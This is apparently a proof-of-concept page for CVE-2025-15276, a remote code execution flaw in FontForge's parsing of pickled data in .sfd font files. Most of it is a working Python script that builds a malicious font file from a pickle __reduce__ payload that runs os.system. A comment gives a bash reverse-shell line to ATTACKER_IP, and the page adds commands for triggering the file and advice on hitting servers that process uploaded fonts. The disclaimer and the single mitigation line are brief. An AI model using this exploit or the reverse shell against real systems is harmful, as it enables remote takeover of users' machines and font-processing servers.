
Proof of concept for CVE-2025-15276 - FontForge SFD File Parsing Deserialization of Untrusted Data Remote Code Execution Vulnerability
This Proof of Concept (PoC) is for educational purposes and security auditing only. The author is not responsible for any misuse of this information. Unauthorized access to computer systems is illegal. Always obtain explicit permission before performing security testing on any system.
CVE-2025-15276 is a critical Remote Code Execution (RCE) vulnerability in FontForge (versions up to and including 20230101). The flaw exists in the parsing of the Spline Font Database (.sfd) format, specifically within the PickledData field.
FontForge's SFD format allows for the storage of persistent Python dictionaries using the PickledData keyword. When a font is loaded, FontForge extracts this string and passes it directly to Python's pickle.loads() function (or an equivalent internal deserialization routine) without any sanitization or sandboxing.
Because the Python pickle module is inherently insecure and allows for arbitrary object reconstruction, an attacker can use the __reduce__ method to execute arbitrary system commands with the privileges of the user running FontForge.
20230101 or earlier.Use the following Python script (gen_poc.py) to create an exploit.sfd file. This PoC is configured to create a file in /tmp/pwned as a safe indicator of compromise (IoC).
import pickle
import os
# For a reverse shell: "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1'"
cmd = "bash -c 'touch /tmp/pwned'"
class Exploit(object):
def __reduce__(self):
return (os.system, (cmd,))
# Serialize the object using Protocol 0 (ASCII) for SFD compatibility
payload = pickle.dumps(Exploit(), protocol=0).decode('ascii')
# Escape backslashes and quotes as required by the SFD format
escaped_payload = payload.replace('\\', '\\\\').replace('"', '\\"')
# Construct the minimal SFD structure
sfd_content = f"""SplineFontDB: 3.2
FontName: ExploitFont
FullName: Exploit Font
FamilyName: Exploit
Weight: Regular
PickledData: "{escaped_payload}"
EndSplineFont
"""
with open("exploit.sfd", "w") as f:
f.write(sfd_content)
print("[+] exploit.sfd generated successfully.")
The vulnerability can be triggered by simply opening the file with FontForge.
Option A: Standard GUI/CLI Load
fontforge exploit.sfd
Option B: Python Scripting Interface (Common in automated pipelines)
fontforge -c 'import fontforge; fontforge.open("exploit.sfd")'
Check if the command was executed:
ls -l /tmp/pwned
This vulnerability is particularly dangerous in font processing pipelines (e.g., web-based font converters or automated validation scripts) that use FontForge on the backend to process user-uploaded files. If the backend script calls fontforge.open() on an untrusted .sfd file, the attacker gains full control over the processing server.
.sfd files from untrusted sources.